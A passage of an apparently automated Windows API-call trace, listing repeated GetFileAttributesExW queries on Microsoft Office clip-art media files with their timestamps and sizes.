	[0051.886] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6aa8 | out: lpFileInformation=0x124d6aa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ec6b00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81ec6b00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1216)) returned 1
	[0051.887] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6af8 | out: lpFileInformation=0x124d6af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929ce100, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x929ce100, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x8cbe)) returned 1
	[0051.887] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6b48 | out: lpFileInformation=0x124d6b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fc00, ftCreationTime.dwHighDateTime=0x1bdf0c6, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91fc00, ftLastWriteTime.dwHighDateTime=0x1bdf0c6, nFileSizeHigh=0x0, nFileSizeLow=0x2518)) returned 1
	[0051.887] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6b98 | out: lpFileInformation=0x124d6b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebd55500, ftCreationTime.dwHighDateTime=0x1be05ec, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xebd55500, ftLastWriteTime.dwHighDateTime=0x1be05ec, nFileSizeHigh=0x0, nFileSizeLow=0x8ec4)) returned 1
	[0051.888] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6be8 | out: lpFileInformation=0x124d6be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b53500, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54b53500, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xf5e)) returned 1
	[0051.888] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6c38 | out: lpFileInformation=0x124d6c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b8b4b00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8b8b4b00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x341e)) returned 1
	[0051.888] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6c88 | out: lpFileInformation=0x124d6c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1b0eb00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb1b0eb00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x900)) returned 1
	[0051.888] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6cd8 | out: lpFileInformation=0x124d6cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc6b8000, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbc6b8000, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xaf0)) returned 1
	[0051.889] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6d28 | out: lpFileInformation=0x124d6d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd311d700, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd311d700, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x948)) returned 1
	[0051.889] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6d78 | out: lpFileInformation=0x124d6d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ccab00, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85ccab00, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x2398)) returned 1
	[0051.890] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6dc8 | out: lpFileInformation=0x124d6dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89603200, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x89603200, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x11e2)) returned 1
	[0051.890] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6e18 | out: lpFileInformation=0x124d6e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14d9c300, ftCreationTime.dwHighDateTime=0x1be4d5f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x14d9c300, ftLastWriteTime.dwHighDateTime=0x1be4d5f, nFileSizeHigh=0x0, nFileSizeLow=0x17f2)) returned 1
	[0051.890] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6e68 | out: lpFileInformation=0x124d6e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e240a00, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3e240a00, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0xb34e)) returned 1
	[0051.890] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6eb8 | out: lpFileInformation=0x124d6eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50527800, ftCreationTime.dwHighDateTime=0x1be5610, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50527800, ftLastWriteTime.dwHighDateTime=0x1be5610, nFileSizeHigh=0x0, nFileSizeLow=0x11be)) returned 1
	[0051.891] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6f08 | out: lpFileInformation=0x124d6f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56952400, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56952400, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x248e)) returned 1
	[0051.891] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6f58 | out: lpFileInformation=0x124d6f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6ca800, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e6ca800, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0xb7a)) returned 1
	[0051.891] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d6fa8 | out: lpFileInformation=0x124d6fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae7a700, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdae7a700, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x2424)) returned 1
	[0051.891] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav"), fInfoLevelId=0x0, lpFileInformation=0x124d6ff8 | out: lpFileInformation=0x124d6ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8726e600, ftCreationTime.dwHighDateTime=0x1be59a2, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8726e600, ftLastWriteTime.dwHighDateTime=0x1be59a2, nFileSizeHigh=0x0, nFileSizeLow=0x68ba)) returned 1
	[0051.892] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7048 | out: lpFileInformation=0x124d7048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ba5a00, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32ba5a00, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1d3a)) returned 1
	[0051.892] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7098 | out: lpFileInformation=0x124d7098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c4ec00, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35c4ec00, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x3138)) returned 1
	[0051.892] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d70e8 | out: lpFileInformation=0x124d70e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e7ca500, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e7ca500, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x1c06)) returned 1
	[0051.892] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7138 | out: lpFileInformation=0x124d7138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff3ba100, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xff3ba100, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x5d78)) returned 1
	[0051.893] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7188 | out: lpFileInformation=0x124d7188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825cf700, ftCreationTime.dwHighDateTime=0x1be6c1b, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x825cf700, ftLastWriteTime.dwHighDateTime=0x1be6c1b, nFileSizeHigh=0x0, nFileSizeLow=0x2dc4)) returned 1
	[0051.893] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d71d8 | out: lpFileInformation=0x124d71d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8cb3500, ftCreationTime.dwHighDateTime=0x1be6c1d, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8cb3500, ftLastWriteTime.dwHighDateTime=0x1be6c1d, nFileSizeHigh=0x0, nFileSizeLow=0x1aea)) returned 1
	[0051.893] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7228 | out: lpFileInformation=0x124d7228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bfdb600, ftCreationTime.dwHighDateTime=0x1be7a36, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7bfdb600, ftLastWriteTime.dwHighDateTime=0x1be7a36, nFileSizeHigh=0x0, nFileSizeLow=0x3838)) returned 1
	[0051.897] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7278 | out: lpFileInformation=0x124d7278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7bae00, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d7bae00, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x78a)) returned 1
	[0051.898] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d72c8 | out: lpFileInformation=0x124d72c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fde0800, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fde0800, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x632)) returned 1
	[0051.898] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7318 | out: lpFileInformation=0x124d7318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82406200, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x82406200, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x58e)) returned 1
	[0051.898] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7368 | out: lpFileInformation=0x124d7368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85d3e900, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85d3e900, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x7c6)) returned 1
	[0051.899] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d73b8 | out: lpFileInformation=0x124d73b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b0a7e00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b0a7e00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xf5c)) returned 1
	[0051.899] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7408 | out: lpFileInformation=0x124d7408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c3bab00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7c3bab00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xee0)) returned 1
	[0051.899] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7458 | out: lpFileInformation=0x124d7458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd64900, ftCreationTime.dwHighDateTime=0x1bc82e4, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6fd64900, ftLastWriteTime.dwHighDateTime=0x1bc82e4, nFileSizeHigh=0x0, nFileSizeLow=0x30da)) returned 1
	[0051.899] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d74a8 | out: lpFileInformation=0x124d74a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabe1b900, ftCreationTime.dwHighDateTime=0x1be516b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xabe1b900, ftLastWriteTime.dwHighDateTime=0x1be516b, nFileSizeHigh=0x0, nFileSizeLow=0x77f0)) returned 1
	[0051.900] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d74f8 | out: lpFileInformation=0x124d74f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c43c200, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3c43c200, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1522)) returned 1
	[0051.900] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7548 | out: lpFileInformation=0x124d7548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36d32e00, ftCreationTime.dwHighDateTime=0x1be56ed, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36d32e00, ftLastWriteTime.dwHighDateTime=0x1be56ed, nFileSizeHigh=0x0, nFileSizeLow=0x80f8)) returned 1
	[0051.900] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7598 | out: lpFileInformation=0x124d7598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23f92c00, ftCreationTime.dwHighDateTime=0x1be8094, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x23f92c00, ftLastWriteTime.dwHighDateTime=0x1be8094, nFileSizeHigh=0x0, nFileSizeLow=0x6632)) returned 1
	[0051.901] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d75e8 | out: lpFileInformation=0x124d75e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a15c200, ftCreationTime.dwHighDateTime=0x1be7fe9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4a15c200, ftLastWriteTime.dwHighDateTime=0x1be7fe9, nFileSizeHigh=0x0, nFileSizeLow=0xa87e)) returned 1
	[0051.901] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7638 | out: lpFileInformation=0x124d7638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1034e00, ftCreationTime.dwHighDateTime=0x1be75a5, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1034e00, ftLastWriteTime.dwHighDateTime=0x1be75a5, nFileSizeHigh=0x0, nFileSizeLow=0x27ee)) returned 1
	[0051.901] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif"), fInfoLevelId=0x0, lpFileInformation=0x124d7688 | out: lpFileInformation=0x124d7688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9eeb500, ftCreationTime.dwHighDateTime=0x1bf2be6, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9eeb500, ftLastWriteTime.dwHighDateTime=0x1bf2be6, nFileSizeHigh=0x0, nFileSizeLow=0xd4f)) returned 1
	[0051.902] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d76d8 | out: lpFileInformation=0x124d76d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85566d00, ftCreationTime.dwHighDateTime=0x1be911f, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85566d00, ftLastWriteTime.dwHighDateTime=0x1be911f, nFileSizeHigh=0x0, nFileSizeLow=0x1820)) returned 1
